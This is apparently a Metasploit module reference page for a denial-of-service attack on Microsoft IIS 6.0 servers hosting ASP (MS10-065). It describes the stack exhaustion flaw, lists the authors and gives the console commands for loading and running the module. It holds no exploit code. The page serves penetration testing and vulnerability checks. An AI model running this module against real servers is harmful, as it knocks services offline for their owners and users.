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Microsoft IIS 6.0 ASP Stack Exhaustion Denial of Service

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Microsoft IIS 6.0 ASP Stack Exhaustion Denial of Service



The vulnerability allows remote unauthenticated attackers to force the IIS server to become unresponsive until the IIS service is restarted manually by the administrator. Required is that Active Server Pages are hosted by the IIS and that an ASP script reads out a Post Form value.


  • Heyder Andrade <heyder@alligatorteam.org>
  • Leandro Oliveira <leadro@alligatorteam.org>


Module Options

To display the available options, load the module within the Metasploit console and run the commands 'show options' or 'show advanced':

msf > use auxiliary/dos/windows/http/ms10_065_ii6_asp_dos
msf auxiliary(ms10_065_ii6_asp_dos) > show actions
msf auxiliary(ms10_065_ii6_asp_dos) > set ACTION < action-name >
msf auxiliary(ms10_065_ii6_asp_dos) > show options
    ...show and set options...
msf auxiliary(ms10_065_ii6_asp_dos) > run 

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